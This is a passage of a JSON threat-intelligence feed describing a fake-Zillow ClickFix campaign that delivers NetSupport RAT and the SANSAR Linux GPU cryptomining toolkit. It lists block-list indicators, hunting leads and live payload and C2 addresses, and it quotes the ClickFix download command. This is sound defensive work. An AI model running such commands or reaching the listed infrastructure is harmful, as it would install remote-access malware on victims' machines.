Service.exe under %APPDATA%\\NetSupport", "log_source": "Defender XDR DeviceFileEvents and DeviceProcessEvents", "why": "The downloader copies the ZIP contents to %APPDATA%\\NetSupport, finds Service.exe and drops NetSupport.lnk in the user Startup folder, then starts Service.exe hidden. Genuine NetSupport Manager can also live under AppData, so treat this as a lead unless winup2 or mestos2.zip is also present.", "action": "alert", "has_query": true, "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/ https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "source_name": "EfficientIP", "title": "Startup NetSupport.lnk pointing at AppData Service.exe", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "DNS or web requests for apartments-review followed by digits on the .sbs TLD, or for the NetSupport gateway domains asgomd.com, asgrsv.com and the related -md and -rsv hosts", "log_source": "Defender XDR DeviceNetworkEvents, DNS and proxy logs", "why": "The landing pages used the apartments-review.sbs pattern, including *.verify.apartments-review*.sbs wildcards. The installed NetSupport client used asgomd.com and asgrsv.com, and EfficientIP found seven further short gateway names on the same Flyservers addresses.", "action": "alert", "has_query": true, "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/ https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "source_name": "EfficientIP", "title": "Lookups for apartments-review*.sbs or the gateway domains", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/block_now.txt", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/defender_xdr_indicators.csv", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.kql", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.spl", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt_raw.spl", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.yaral", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/iocs.csv", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT", "share_url": "https://iocwatch.com/t/Fake-Zillow-ClickFix-NetSupport-RAT/", "indicators": [ { "value": "apartments-review8509831.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "One of the fake Zillow apartment-review landing domains used for the ClickFix lure; also seen as *.verify.apartments-review8509831.sbs.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review28829031.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review6125431.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review261679200.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review2138768.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review261634860.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review9384643.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Zillow apartment-review landing domain used for the ClickFix lure.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "asgomd.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "NetSupport RAT gateway domain configured in the installed client; resolves to 45.227.254.179 (Flyservers).", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "bksju.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgomd.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "bksnb.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgomd.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" }, { "url": "https://threatfox.abuse.ch/ioc/1837183/", "name": "ThreatFox" } ] }, { "value": "decrmd.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgomd.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "jpgomd.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgomd.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" }, { "url": "https://threatfox.abuse.ch/ioc/1837182/", "name": "ThreatFox" } ] }, { "value": "nogomd.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgomd.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "asgrsv.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "NetSupport RAT gateway domain configured in the installed client; resolves to 45.227.254.10 (Flyservers).", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "decrsv.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgrsv.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "jpgrsv.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Additional NetSupport gateway domain on the same Flyservers address as asgrsv.com.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "89.34.90.203", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Dedicated payload host (Dedik Services, AS207043) that served /winup2 and /mestos2.zip; the ClickFix command writes this address as the decimal DWORD 1495423691.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" }, { "url": "https://urlhaus.abuse.ch/host/89.34.90.203/", "name": "URLhaus" } ] }, { "value": "45.227.254.179", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Flyservers (AS267784) address used by the asgomd.com cluster of NetSupport gateway domains.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "45.227.254.10", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Flyservers (AS267784) address used by the asgrsv.com cluster of NetSupport gateway domains.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "http://89.34.90.203/winup2", "type": "url", "confidence": "high", "recommended_action": "block", "description": "URL of the PowerShell downloader that the ClickFix command saves as %TEMP%\\winup2.ps1 and runs.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" }, { "url": "https://urlhaus.abuse.ch/host/89.34.90.203/", "name": "URLhaus" } ] }, { "value": "http://89.34.90.203/mestos2.zip", "type": "url", "confidence": "high", "recommended_action": "block", "description": "ZIP archive of the NetSupport RAT payload retrieved by the embedded Python script after winup2.ps1 runs.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" }, { "url": "https://urlhaus.abuse.ch/host/89.34.90.203/", "name": "URLhaus" } ] }, { "value": "winup2.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Filename of the PowerShell downloader written to %TEMP% by the ClickFix command.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "mestos2.zip", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Filename of the NetSupport RAT archive downloaded from 89.34.90.203 after the ClickFix script runs.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "apartments-review[0-9]+\\.sbs", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Naming pattern for the short-lived fake Zillow landing domains; new numeric suffixes may appear after the listed names expire.", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] }, { "value": "1495423691", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Decimal DWORD form of 89.34.90.203 used in the ClickFix PowerShell command (iwr 1495423691/winup2).", "source_url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "source_label": "EfficientIP Research Labs – From Fake Zillow Pages to ClickFix NetSupport RAT", "source_name": "EfficientIP", "sources": [ { "url": "https://efficientip.com/blog/clickfix-netsupport-rat/", "name": "EfficientIP" }, { "url": "https://www.helpnetsecurity.com/2026/11/13/fake-zillow-clickfix-netsupport-rat/", "name": "Help Net Security" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.kql", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.spl", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt_raw.spl", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Fake-Zillow-ClickFix-NetSupport-RAT/hunt.yaral", "download": "Fake-Zillow-ClickFix-NetSupport-RAT_hunt.yaral" } ] }, { "id": "SANSAR-Linux-GPU-Cryptomining-Toolkit", "folder": "threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit", "name": "SANSAR: Linux GPU Cryptomining Toolkit with a Tor Orchestrator, Rootkit and Ethereum C2", "short": "SANSAR Linux GPU cryptomining toolkit", "category": "Crimeware / cryptomining", "published": "2026-11-12", "entry_date": "2026-11-13 03:50", "last_updated": "2026-11-13", "seq": 42, "headline": "Elastic Security Labs, writing on 12 November 2026, describes REF3364, a Linux cryptomining intrusion on GPU hosts th...", "summary": "Elastic Security Labs, writing on 12 November 2026, describes REF3364, a Linux cryptomining intrusion on GPU hosts that started through an exposed, unauthenticated Ray job agent between 22 and 25 October. After a job ran nvidia-smi and a Python reverse shell, the actor obtained root, staged a toolkit under /opt/vadi_/, and installed SANSAR, a Rust orchestrator that talks to the onion service efxisnqldelyr5ra25oqfrsut54b34g26e7zrsiuupsoekjof2gho2id.onion:9051 over Tor. The toolkit also includes an acpi_thermal_mgr kernel rootkit loaded through DKMS and initramfs, an NVML wrapper that reports 0% GPU utilisation, public XMRig and SRBMiner binaries, and a backdoor named netns that retrieves its controller IPv4 address from Ethereum contract 0x43eb291f56688c63c93e8a93c4591fc997cf6349 using selector 0x6ded96e7, then connects to that address on TCP port 8080. The custom SANSAR, netns, rootkit and NVML-wrapper hashes and the onion C2 are on the block list. The XMRig and SRBMiner hashes are alert only because those are public miners. Do not block the Tor Project's lyrebird helper, public Ethereum RPC services, or Ray itself.", "caveat": "Elastic published the official Tor lyrebird 0.8.1 helper hash alongside the toolkit; it is legitimate Tor software and is not listed. Public Ethereum RPC endpoints must not be blocked; hunt eth_call to the published contract from non-crypto hosts. Ray is a legitimate distributed-computing framework; restrict who can submit jobs and whether the job agent is exposed to the internet. The acpi_thermal_mgr module name could collide with a plausible ACPI helper, so confirm the published hash.", "targets": { "countries": [], "regions": [], "sectors": [], "note": null, "source": null }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.006", "name": "Python", "url": "https://attack.mitre.org/techniques/T1059/006/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1098.004", "name": "SSH Authorized Keys", "url": "https://attack.mitre.org/techniques/T1098/004/" }, { "id": "T1543.002", "name": "Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1547.006", "name": "Kernel Modules and Extensions", "url": "https://attack.mitre.org/techniques/T1547/006/" }, { "id": "T1014", "name": "Rootkit", "url": "https://attack.mitre.org/techniques/T1014/" }, { "id": "T1562", "name": "Impair Defenses", "url": "https://attack.mitre.org/techniques/T1562/" }, { "id": "T1090.003", "name": "Multi-hop Proxy", "url": "https://attack.mitre.org/techniques/T1090/003/" }, { "id": "T1102.001", "name": "Dead Drop Resolver", "url": "https://attack.mitre.org/techniques/T1102/001/" }, { "id": "T1496.001", "name": "Compute Hijacking", "url": "https://attack.mitre.org/techniques/T1496/001/" } ], "recommended_actions": [ "Block the four custom hashes (sansar, the NVML wrapper, acpi_thermal_mgr.ko and netns) and the onion C2 (they are in the Defender XDR import file), and hunt 90 days of logs for /opt/vadi_/ and for eth_call to 0x43eb291f56688c63c93e8a93c4591fc997cf6349.", "Treat the XMRig (kurt) and SRBMiner (tilki) hashes as alert-only public miners; confirm the /opt/vadi_/ path or the custom implants before calling the host this intrusion.", "Hunt for an internet-exposed unauthenticated Ray job agent, nvidia-smi output leaving the host shortly before a Python reverse shell, DKMS builds of acpi_thermal_mgr, and unexpected replacement of libnvidia-ml.so.1.", "If confirmed, isolate the host, rebuild it from known-good media rather than just removing files (the rootkit hides processes and can reload from initramfs), rotate SSH keys and credentials, and close the exposed Ray job agent." ], "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "name": "Elastic" } ], "indicator_count": 11, "block_now_count": 5, "hunt_count": 6, "hunt_counts": { "alert": 4, "monitor": 2 }, "indicator_counts": { "sha256": 6, "filename": 2, "domain": 1, "eth_address": 1, "function_selector": 1 }, "ioas": [ { "artefact": "Files or processes under /opt/vadi_/, including sansar, kurt, tilki or netns", "log_source": "Linux EDR, auditd, and Defender XDR DeviceFileEvents or DeviceProcessEvents where Linux onboarding is present", "why": "After obtaining root, the actor staged the toolkit under /opt/vadi_/. A kernel log later recorded /opt/vadi_/tilki starting on one GPU host.", "action": "alert", "has_query": true, "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_name": "Elastic", "title": "Files or processes under /opt/vadi_/", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "The acpi_thermal_mgr kernel module being built through DKMS or loaded at boot", "log_source": "Linux syslog, kernel logs, DKMS logs, and EDR file or process events", "why": "The actor built acpi_thermal_mgr.ko through DKMS and added an initramfs loader so the rootkit could hide processes, files and sockets and reload after reboot. Confirm the published hash; the name could collide with a plausible ACPI helper.", "action": "alert", "has_query": true, "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_name": "Elastic", "title": "acpi_thermal_mgr kernel module built or loaded", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "eth_call requests to Ethereum contract 0x43eb291f56688c63c93e8a93c4591fc997cf6349 with selector 0x6ded96e7, followed by a TCP connection to port 8080", "log_source": "Proxy, TLS-inspection and Linux process or network logs; public Ethereum RPC services must not be blocked", "why": "netns sends eth_call through public Ethereum RPC services to this embedded contract, decodes an IPv4 address from the response and connects to it on TCP 8080, then can be told to open a Bash reverse shell to a different host.", "action": "hunt", "has_query": true, "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_name": "Elastic", "title": "eth_call to the netns Ethereum C2 contract", "queries": [ "KQL", "SPL" ] }, { "artefact": "An internet-exposed Ray job agent accepting unauthenticated job submissions, or nvidia-smi output leaving the host shortly before a Python reverse shell", "log_source": "Ray dashboard and job-agent logs, Linux process and network telemetry", "why": "On the first host the Ray dashboard listened only on loopback but the job agent remained reachable from the internet without authentication. Between 22 and 25 October 2026, probes were followed by a job that ran nvidia-smi and sent the GPU inventory out, then a Python reverse shell and an SSH key added to authorized_keys. Ray itself is legitimate software.", "action": "hunt", "has_query": true, "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_name": "Elastic", "title": "Exposed Ray job agent or nvidia-smi then a Python shell", "queries": [ "KQL", "SPL" ] }, { "artefact": "Replacement of libnvidia-ml.so.1 with a wrapper that falsifies GPU utilisation", "log_source": "Linux file integrity, package and EDR file events", "why": "The toolkit replaces the NVIDIA Management Library with a wrapper so monitoring tools report 0% GPU utilisation while mining continues. Hunt unexpected replacement of this library; do not block the legitimate NVIDIA file name.", "action": "hunt", "has_query": true, "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_name": "Elastic", "title": "Unexpected replacement of libnvidia-ml.so.1", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/block_now.txt", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/defender_xdr_indicators.csv", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.kql", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.spl", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt_raw.spl", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.yaral", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/iocs.csv", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit", "share_url": 